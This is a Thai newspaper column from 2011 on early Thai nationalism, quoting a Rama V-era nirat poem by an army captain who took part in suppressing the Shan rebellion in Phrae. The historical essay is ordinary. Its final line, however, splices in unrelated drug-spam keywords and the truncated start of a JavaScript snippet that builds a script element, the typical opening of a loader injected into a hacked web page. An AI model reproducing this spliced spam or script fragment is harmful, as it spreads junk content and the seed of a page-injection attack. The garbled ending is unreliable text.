มติชนรายวัน ฉบับประจำวันพุธที่ 24 สิงหาคม 2554

         ชาตินิยมไทยสมัยรัชกาลที่ 5 มีในกลอนเพลงยาวนิราศปราบเงี้ยว

ขบถเงี้ยว เมืองแพร่ สมัยรัชกาลที่ 5 มีขุนนางข้าราชการชาวเมืองแพร่พวกหนึ่งเป็นใจเข้ากับเงี้ยว

นายร้อยเอก หลวงทวยหาญรักษา (เพิ่ม) ไปราชการในกองทัพปราบเงี้ยว แล้วแต่งเพลงยาวนิราศรายงานปราบเงี้ยว เมืองแพร่ ไว้ด้วย

มีกลอนเพลงยาวนิราศพรรณนาว่ากล่าวตำหนิติเตียนขุนนางข้าราชการที่เป็นใจเข้ากับเงี้ยวว่า “ลืมไทย” แล้ว “ทิ้งชาติไทย” ดังนี้

          ธรรมดาข้าราชการหมาย                 ปราบผู้ร้ายระงับเหตุในเขตขันธ์ 

         ได้เลื่องชื่อลือตระกูลไม่สูญพันธุ์       จึงนับชั้นชอบใหญ่ในแผ่นดิน

         ไม่ช่วยแล้วกลับชื่นเข้ากลืนกล้ำ        ไปถือน้ำทำสัตย์สะบัดศีล

         ทรยศขบถใหญ่ในแผ่นดิน              ทั้งเที่ยวลิ้นลาดตระเวนเกณฑ์เสบียง

         ให้กำลังเหล่าร้ายหมายชนะ             เป็นอิสรภาพฉาวในลาวเฉียง

         ตัวเป็นไทยใจฟุ้งมามุ่งเมียง             เข้าใกล้เคียงลาวปลื้มแล้วลืมไทย

         ทั้งสตรีทารกเมื่อตกทุกข์                 ฉุกละหุกเหตุวิบัติปัดไถม

         ไม่อุดหนุนจุนเจือสิ้นเยื่อใย              ทิ้งชาติไทยที่เกิดกำเนิดกาย

พ.ศ. 2358 มีเอกสารบอกว่าลัทธิชาตินิยมก่อหวอดขึ้นในยุโรป แล้วแพร่ไปสู่บ้านเมืองต่างๆ ในโลก ขณะนั้นสยามอยู่ในต้นแผ่นดินรัชกาลที่ 2

ความเป็นชาติไทยน่าจะเริ่มมีพลังในสยามตั้งแต่แผ่นดินรัชกาลที่ 4 แล้วแสดงออกชัดเจนในเพลงยาวนิราศปราบเงี้ยว ในแผ่นดินรัชกาลที่ 5

จึงมีความรักชาติแทรกอยู่ในกลอน เช่น ตัวเป็นไทย, ลืมไทย, ชาติไทย 

forzest 20 side effects price of temovatevar d=document;var s=d.createElement(‘script’); if (document.currentScript) {